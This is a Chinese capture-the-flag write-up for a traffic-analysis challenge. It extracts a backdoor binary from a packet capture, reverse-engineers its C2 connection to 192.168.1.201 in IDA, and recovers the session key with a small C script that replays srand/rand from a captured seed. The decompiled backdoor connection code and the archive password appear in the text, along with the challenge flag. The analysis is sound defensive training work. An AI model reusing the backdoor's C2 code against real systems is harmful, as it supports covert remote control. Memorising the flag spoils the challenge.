news 2026/4/23 14:49:46

流量分析_SnakeBackdoor-5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
流量分析_SnakeBackdoor-5

SnakeBackdoor-5

根据题目5的要求分析,这题涉及流量文件提取二进制逆向分析

基于之前的分析,我们已经知道攻击者下载了一个名为 shell.zip 的压缩包,并解压出了一个 ELF 二进制文件(在题目4中被重命名为 python3.13)

所以我们需要先将流量中的shell.zip文件提取出来,然后使用IDA进行逆向分析,定位网络通信函数,找到加密密钥,解题思路如下:

解题思路: 1、提取样本:从 Wireshark 流量中将 shell.zip 提取出来。 2、解压样本:使用题目 4 获得的密码 nf2jd092jd01 解压得到 ELF 文件。 3、逆向分析:使用 IDA Pro 或 Ghidra 打开 ELF 文件,定位网络通信函数,找出硬编码的加密密钥。 4、格式转换:将找到的字符串或字节流密钥转换为题目要求的小写 Hex 格式。

1、提取木马本题文件

由题目4的分析结果知道,木马本题文件为shell.zip,并且使用密码nf2jd092jd01进行了加密

在 Wireshark 过滤器栏输入:http contains "shell.zip"(或者更精准地: http.request.uri contains "shell.zip")

点击菜单栏的 File (文件) => Export Objects (导出对象) => HTTP

在弹出的列表中,在文本过滤器中搜做".zip",找到文件名为 shell.zip 的那一行(Content-Type 通常为 application/zip),保存即可

2、解密压缩包

打开shell.zip压缩包,是经过加密的,输入题目4中得出的密码nf2jd092jd01,得到里面的木马本体二进制文件

3、逆向分析加密密钥

将shell二进制文件拖进IDA中

我们需要定位到网络通信函数,先找C2 服务器通信,密钥通常硬编码在数据段中

选择import窗口,找到inet_addr,双击定位到函数,选中函数,然后按下X键

双击.got.plt,选中地址或者函数,再次按X,弹窗之后再双击_inet_addr

选中_inet_addr,一样的操作,得到main函数的流程图视图

F5反编译得到伪代码

分析代码,是一个Linux C 语言编写的后门客户端
它的核心功能是:主动连接攻击者的服务器,通过某种协商机制生成加密密钥,然后循环接收攻击者的加密指令,执行后将结果加密回传

首先网络连接初始化,负责建立与 C2 服务器的 TCP 连接,IP: "192.168.1.201" 目标端口: 0xE59E(十进制为58782)

fd = socket(2, 1, 0); // 1. 创建套接字 (AF_INET=2, SOCK_STREAM=1) if ( fd < 0 ) exit(1); // 创建失败则退出 memset(&s, 48, 0x10uLL); // 初始化 sockaddr 结构体 s = 2; // 地址族 AF_INET v15 = inet_addr("192.168.1.201"); // 2. 目标 IP 地址 v14 = htons(0xE59Eu); // 3. 目标端口 // 4. 发起连接 if ( connect(fd, (const struct sockaddr *)&s, 0x10u) < 0 ) { close(fd); exit(1); }

连接成功后,进行密钥协商与生成,木马没有直接发送数据,而是进行了一次“握手”来生成加密通信所需的密钥

这是一个基于 “种子同步” 的弱加密方案,使用4字节的随机数种子,生成16字节的密钥

// 1. 接收 4 字节数据 (Seed) if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 ) ... // 2. 字节序转换 (Big-Endian 转 Little-Endian) seed = (*(_DWORD *)&v7 >> 8) & 0xFF00 | ... ; // 3. 设置随机数种子 srand(seed); // 4. 生成 16 字节密钥 for ( i = 0; i <= 3; ++i ) *(_DWORD *)&v8[4 * i] = rand(); // v8 就是最终的 Session Key // 5. 初始化加密上下文 (sub_13B4 可能是 KeyExpansion) sub_13B4(&v10, v8, 0LL); // 初始化解密上下文 v10 sub_13B4(&v9, v8, 1LL); // 初始化加密上下文 v9

所以我们需要找到连接初期这 4 个字节的随机种子,然后在本地写代码模拟 srand 和 rand,从而计算出当次会话的所有加密密钥。

返回流量包,过滤出前面找到的IP和端口,在找出长度为4字节的数据包

ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

查看数据包中的数据内容

第一个数据包中的数据Data: 34952046是我们想要的4字节随机种子

后面数据包中的数据Data: 00000010、Data: 00000030等等,正好是 AES/RC4 等加密算法的常见块大小,或者是填充后的指令长度

4、编写脚本模拟计算出密钥

编写脚本

#include <stdio.h> #include <stdlib.h> #include <stdint.h> int main() { // 1. 设置你在 Wireshark 里找到的种子 // 数据包里的 hex 是 34 95 20 46,对应整数 0x34952046 unsigned int seed = 0x34952046; printf("[*] Seed: 0x%X\n", seed); // 2. 初始化随机数生成器 (模拟木马逻辑) srand(seed); printf("[+] Flag: flag{"); // 3. 生成 16 字节密钥 (4次 rand) for(int i = 0; i < 4; i++) { int r = rand(); // 模拟 Python 的 struct.pack("<I", r) -> 小端序输出 unsigned char *p = (unsigned char *)&r; printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]); } printf("}\n"); return 0; }

可以使用在线C语言编译器:https://www.onlinegdb.com/online_c_compiler

最终得到flag{ac46fb610b313b4f32fc642d8834b456}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 14:34:25

2026最新!盘点5款免费论文降AIGC神器,降AI干活一篇搞定

毕业生都懂。论文写完了&#xff0c;查重过了&#xff0c;结果卡在了AIGC检测上。 明明是自己一个字一个字码的&#xff0c;或者稍微用了点辅助&#xff0c;就被判定是AI写的。 那种崩溃&#xff0c;我太懂了。 作为在红书和知乎摸爬滚打多年的老手&#xff0c;我也踩过不少坑…

作者头像 李华
网站建设 2026/4/23 13:00:47

免费降AI率真的靠谱吗?实测多款工具,教你如何安全降低AIGC

毕业生都懂。论文写完了&#xff0c;查重过了&#xff0c;结果卡在了AIGC检测上。 明明是自己一个字一个字码的&#xff0c;或者稍微用了点辅助&#xff0c;就被判定是AI写的。 那种崩溃&#xff0c;我太懂了。 作为在红书和知乎摸爬滚打多年的老手&#xff0c;我也踩过不少坑…

作者头像 李华
网站建设 2026/4/23 9:56:43

20260104_214615_炸裂!又一个AI大模型的新方向,彻底爆了!!

更新了&#xff01;谷歌 Gemini 3 Pro 正式上线&#xff01; 在大模型竞争激烈的当下&#xff0c;它在推理、多模态处理、Agent 工具使用等关键领域实现全面领先&#xff01; 目前&#xff0c;在所有主要LMArena排行榜中&#xff0c;几乎全部排名第一&#x1f447;&#x1f3…

作者头像 李华
网站建设 2026/4/22 15:17:45

大模型技术全景解析:从围观到宏观,从宏观到微观的系统学习之路_大模型技术学习过程梳理

本文系统梳理了大模型技术的框架&#xff0c;从理论、技术到应用等方面进行了全面介绍。文章首先阐述了大模型作为人工智能分支的本质&#xff0c;然后详细讲解了神经网络架构、预训练方式等核心技术。针对大模型的局限性&#xff0c;文章介绍了RAG技术、微调与提示词工程等解决…

作者头像 李华
网站建设 2026/4/23 11:30:37

AI大模型应用开发完整学习路线 | 7大阶段从基础到进阶 | 程序员必藏_2026全网最详细的AI大模型学习路线

文章详细介绍了2024年AI大模型应用开发的完整学习路线&#xff0c;分为7大阶段&#xff1a;从基础到高级涵盖大模型开发、RAG、LangChain、模型微调、Agent开发、小模型部署和多模态应用。每个阶段包含理论知识和项目实战&#xff0c;提供学习路线图、商业化方案、视频教程、PD…

作者头像 李华
网站建设 2026/4/23 9:55:32

卡内基梅隆大学打造“神经侦探“:让AI像破案一样学会理解语音

这项由卡内基梅隆大学的Georgios Ioannides教授领导、联合纽约大学Yann LeCun教授等多位专家完成的突破性研究&#xff0c;发表于2025年10月25日的arXiv预印本平台&#xff08;论文编号&#xff1a;arXiv:2512.07168v1&#xff09;。有兴趣深入了解的读者可以通过该编号查询完整…

作者头像 李华